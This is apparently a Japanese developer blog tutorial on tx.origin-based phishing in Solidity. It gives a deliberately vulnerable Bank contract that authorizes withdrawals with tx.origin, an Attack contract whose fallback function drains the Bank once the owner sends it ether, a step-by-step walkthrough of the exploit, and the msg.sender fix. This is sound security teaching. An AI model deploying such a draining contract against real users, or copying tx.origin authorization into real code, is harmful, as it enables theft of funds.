こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。
このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。
https://mirror.xyz/0xcE77b9fCd390847627c84359fC1Bc02fC78f0e58
今回は「tx.originを使用したフィッシング攻撃」について解説していきます!
そもそもSolidityの「tx.origin
」なんて聞いたことないという人もいると思いますが、Solidityの学習を進めていく中で出てくるものなのでこの記事で先に学んでいってくだい!
スマートコントラクトに対するフィッシング攻撃の1つである「tx.origin
」の脆弱性について理解して、安全なスマートコントラクトの構築をしていきましょうた!
Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。
バグ・バウンティが何かわからない人は以下の記事を読んでください。
フィッシング攻撃とは?
まずはフィッシング攻撃がどのようなものか確認してきましょう。
Wikipediaで調べると以下のように書かれています。
フィッシング(英: phishing)とは、インターネットのユーザから経済的価値がある情報(例: ユーザ名・パスワード・クレジットカード情報)を奪うために行われる詐欺行為である。典型的には、とにかく信頼されている主体になりすましたEメールによって偽のWebサーバに誘導することによって行われる。
https://ja.wikipedia.org/wiki/フィッシング_(詐欺)
「重要な個人情報を盗み出す」行為を総称してフィッシングというようですね。
さらにフィッシング攻撃には以下のような種類があります。
メールフィッシング
入手したメールアドレス宛にメールを送信し、偽のサイトに誘導することでアカウント情報を盗みだす行為です。
偽のサイトは本物そっくり作られるため、外見では区別することが相当難しいです。
そのためURLなどがおかしくないかで判別する必要があるのと、送信してきたメールアドレスもおかしくないか確認する必要があります。
スピアフィッシング
企業やグループの所属する特定の個人を標的としたフィッシング攻撃です。
標的とする人物の情報を収集し分析し、その人物の上司や家族を名乗り、メールの内容を信じ込ませて行動させようとする攻撃です。
スミッシング
携帯電話のSMSを悪用したフィッシング攻撃です。
SMSに届いたメッセージに怪しいURLが記載されていて、そのURLをクリックして個人情報を入力するとその情報を取得されてしまうといった攻撃です。
よくAmazonやヤマト運輸などの宅配業者を装ったSMSが届いていることがあると思いますが、それがまさにすミッシング攻撃です。
ヴィッシング
ボイス(Voice)とフィッシングを組み合わせた造語です。
ブラウザ上で「ウイルスに感染しました」などの目セージを表示させ、その画面に表示されているサポート電話番号に電話をかけさせ、障害解決のために優勝サポート契約を結ばせようとする詐欺です。
また、これにより逆に端末に不正なプログラムをインストールされる危険性もあります。
電話をかけた際、明らかに日本人ではないカタコトで話してきたりするので、その場合はすぐに気づくことができると思います。
ソーシャルメディアフィッシング
facebook、Twiiter、Instagram、LinkedInなどのSNSサービスで悪意のあるリンクを投稿する攻撃です。
しかし、ただ悪意のあるリンクを投稿しても誰もクリックしないため、他のユーザーのアカウントを使用して悪意のあるリンクを投稿することで、その友人・家族がクリックする可能性が高まります。
パスワードを使い回している人は多いため、どこかでパスワードが漏洩すると、攻撃者はそのパスワードを使用して他のサービスに不正ログインを試みようとします。
tx.originとは?
では次にSolidityのtx.origin
について確認していきましょう!
tx.origin
とはmsg.sender
と同じでアドレスを取得することができます。
msg.sender
との違いとしては、tx.origin
は外部(EOA)アカウント(メタマスクなどのウォレットなど)のアドレスしか取得できないということです。
以下は、ユーザー(EOAアカウント)からContractAを呼び出し、呼び出されたContractAからContractBを呼び出している状態です。
この際、msg.sender
はContractAのアドレスを取得し、tx.origin
はユーザーのアドレスを取得します。
実際に確認してみましょう。
先ほど説明した内容と同じ結果になりましたね!
これがmsg.sender
とtx.origin
の違いになります。
このtx.origin
ですが、公式のドキュメントでは「使用しないでください」との記載があります。
Never use tx.origin for authorization. Let’s say you have a wallet contract like this:
https://docs.soliditylang.org/en/v0.8.17/security-considerations.html
ではこのtx.origin
の何が危ないのかを次の章から見ていきましょう。
tx.originを利用した攻撃
では実際にtx.origin
を使用した攻撃を見ていきましょう。
Bank
contract Bank {
address public owner;
constructor() payable {
owner = msg.sender;
}
/// @notice 資金を預ける関数。
function deposit() public payable { }
/// @notice 資金を引き出す関数。ownerしか実行できない。
function withdraw(address payable _to, uint _amount) public {
require(tx.origin == owner);
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
資金を預けたり、引き出したりできるコントラクト。
owner
Bankコントラクトをデプロイしたユーザーのアドレスが格納。
deposit
資金を送金してもらう受け取ることができる関数。
widthdraw
引き出すユーザーがBankコントラクトのowner
かどうかを確認し、もしowner
であれば資金を引き出すことができる関数。
getBalance
Bankコントラクトに保存されている資金を確認できる関数。
Attack
contract Attack {
address payable public owner;
Bank bank;
constructor(address _bank) public payable {
bank = Bank(_bank);
owner = payable(msg.sender);
}
/// @notice 資金を送られた際に呼び出される無名関数。
fallback() external payable {
bank.withdraw(owner, address(bank).balance);
}
}
攻撃を仕掛けるコントラクトです。
owner
Attackコントラクトをデプロイしたユーザーのアドレスが格納。
bank
Bankコントラクトのアドレスを渡す。
fallback
資金をこのコントラクトに送られた際に呼び出される無名関数で、Bankコントラクトのwidthdraw
関数を呼び出す。
実行
では、早速実行していきましょう!
Bankコントラクトをデプロイしたアドレスがwidthdraw
関数を呼び出して、Attackコントラクトに資金を送金するとBankコントラクト内の資金が全て抜かれてしまうことを以下で再現しています。
コード解説
いかがだったでしょうか?
理解するのが若干難しいと思うので解説していきます。
解説
- BankコントラクトをデプロイしたユーザAが、
deposit
関数を実行して合計5 ether
をBankコントラクトに預ける。 - AttackコントラクトをユーザーBがデプロイ。
- ユーザーAはユーザーBに資金を送金したいため、アドレスを確認して(ユーザーBはあえてAttackコントラクトのアドレスを伝えました)、
widthdraw
関数を実行して1 ether
を送金。 - ユーザーBが一度
widthdraw
関数を実行していますが、owner
変数のアドレスと異なるためエラーが出力される。 - Attackコントラクトは資金を受け取ったため、自動で
fallback
関数が実行。 fallback
関数では再度widthdraw
関数が呼ばれる。- この際、呼び出し元のEOAアカウントアドレスはユーザーAであるため
widthdraw
関数のチェックが通り、Bankコントラクト内の全ての資金がAttackコントラクトのowner
であるユーザーBに送金されてしまう。
全体の流れとしては上記になります。
コード全体
コード全体は以下になっています。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Bank {
address public owner;
constructor() payable {
owner = msg.sender;
}
/// @notice 資金を預ける関数。
function deposit() public payable { }
/// @notice 資金を引き出す関数。ownerしか実行できない。
function withdraw(address payable _to, uint _amount) public {
require(tx.origin == owner);
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
contract Attack {
address payable public owner;
Bank bank;
constructor(address _bank) public payable {
bank = Bank(_bank);
owner = payable(msg.sender);
}
/// @notice 資金を送られた際に呼び出される無名関数。
fallback() external payable {
bank.withdraw(owner, address(bank).balance);
}
}
対処法
ではどのようにすれば対処できるのでしょうか?
答えは単純でmsg.sender
を使用すれば良いです。
msg.sender
を使用することで、毎回呼び出し元のアドレスを確認できるため、Attackコントラクトのfallback
関数が実行されても、呼び出し元のEOAアカウントアドレスではなくAttackコントラクトのアドレスを見てくれます。
/// @notice 資金を引き出す関数。ownerしか実行できない。
function withdraw(address payable _to, uint _amount) public {
require(msg.sender == owner);
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
最後に
今回は「tx.originを使用したフィッシング攻撃」について解説してきました!
いかがだったでしょうか?
ポイント
- 「
tx.origin
とmsg.sender
の違いが理解できた!」 - 「
tx.origin
の危険性が理解できた!」 - 「
tx.origin
を使用している際の対処法を理解できた!」
上記に当てはまっていれば嬉しいです!
もし何か質問などがあれば以下のTwitterなどから連絡ください!
普段はSolidityやブロックチェーン、Web3についての情報発信をしています。
Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!
参考
https://qiita.com/Kumamera/items/a81de80a56340076e254
https://www.trendmicro.com/ja_jp/what-is/phishing/types-of-phishing.html
https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514